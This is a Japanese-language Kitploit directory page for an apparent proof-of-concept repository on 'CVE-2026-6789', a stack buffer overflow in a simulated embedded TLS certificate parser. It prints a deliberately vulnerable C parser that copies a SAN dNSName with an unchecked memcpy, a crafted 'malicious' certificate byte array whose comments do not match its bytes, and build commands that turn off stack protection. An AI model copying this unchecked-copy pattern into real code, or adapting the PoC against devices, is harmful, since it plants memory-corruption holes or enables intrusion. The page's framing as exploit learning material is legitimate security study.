Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/george0papasotiriou/cve-2026-6789-stack-buffer-overflow-in-embedded-tls-certificate-parser
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubgeorge0papasotiriou/cve-2026-6789-stack-buffer-overflow-in-embedded-tls-certificate-parser

CVE-2026-6789-Stack-Buffer-Overflow-in-Embedded-TLS-Certificate-Parser

巧妙に細工されたX.509 SAN拡張を使用して組み込みTLS証明書パーサー内でスタックバッファオーバーフローを引き起こし、IoTおよび産業用デバイス上でリモートコード実行を可能にするPoC。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
11ヶ月前未レビュー

9. CVE-2026-6789 – 組み込みTLS証明書パーサーにおけるスタックバッファオーバーフロー

概要

ある一般的な軽量TLSライブラリ(シミュレーション)には、細工された長さフィールドを持つX.509証明書のSubject Alternative Name拡張を解析する際に、スタックバッファオーバーフローが発生します。

深刻度: 重大 (IoT/産業機器におけるRCE)

脆弱なCパーサーとエクスプロイト

root@kitploit:~
// tls_x509_vuln.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

// Vulnerable certificate parser
struct cert {
    uint8_t *data;
    size_t len;
};

int parse_san_extension(struct cert *cert, char *san_out, size_t out_size) {
    // Assume we are inside an extension with OID for SAN.
    uint8_t *p = cert->data + 10; // skip to extension value
    uint16_t ext_len = (p[0] << 8) | p[1];
    p += 2;
    // ext_len includes a sequence of GeneralNames. We only handle dNSName.
    while (p < cert->data + cert->len) {
        uint8_t name_type = *p++;
        uint16_t name_len = (p[0] << 8) | p[1];
        p += 2;
        if (name_type == 2) { // dNSName
            // Vulnerability: memcpy without bounds check to san_out
            memcpy(san_out, p, name_len); // STACK BUFFER OVERFLOW if name_len > out_size
            san_out[name_len] = '\0';
            return 0;
        }
        p += name_len;
    }
    return -1;
}

int main(int argc, char **argv) {
    // Malicious certificate payload: crafted SAN with oversized dNSName
    uint8_t malicious_cert[] = {
        // ... header, then extension:
        0x30, 0x12, // SEQUENCE extension
        0x06, 0x03, 0x55, 0x1d, 0x11, // OID SAN
        0x04, 0x0b, // octet string, length 11
        // ext_len (should be 0x0009 but we use 0x00ff to overflow)
        0x00, 0xff, // ext_len = 255 (overstated)
        // Then a dNSName: type 2, length huge
        0x02, 0x01, 0x41, // dNSName "A" but the parser will read massive length due to ext_len
    };
    struct cert cert;
    cert.data = malicious_cert;
    cert.len = sizeof(malicious_cert);

    char san[16]; // small buffer
    parse_san_extension(&cert, san, sizeof(san));
    printf("SAN: %s\n", san);
    return 0;
}

CVE-2026-6789 – 組み込みTLS X.509 SAN スタックオーバーフロー

Severity: Critical

📖 概要

広く使用されている組み込みTLSライブラリの証明書パーサーにおけるスタックベースのバッファオーバーフローにより、デバイスが特別に細工されたX.509証明書を処理すると、リモートコード実行が可能になります。

⚙️ 脆弱性の詳細

  • タイプ: スタックバッファオーバーフロー
  • 影響: リモートコード実行 (TLSサーバー上で認証前)
  • 根本原因: パーサーは、出力バッファサイズを検証せずに、Subject Alternative Name拡張からDNS名を長さフィールドでコピーします。

🧪 エクスプロイトのデモ

  1. 悪意のある証明書を生成します:
    root@kitploit:~
    python craft_exploit_cert.py
    
  2. 脆弱なパーサーをコンパイルして実行します(シミュレーション):
    root@kitploit:~
    gcc tls_x509_vuln.c -o parser -fno-stack-protector -z execstack
    ./parser malicious.cer
    
ツールをダウンロード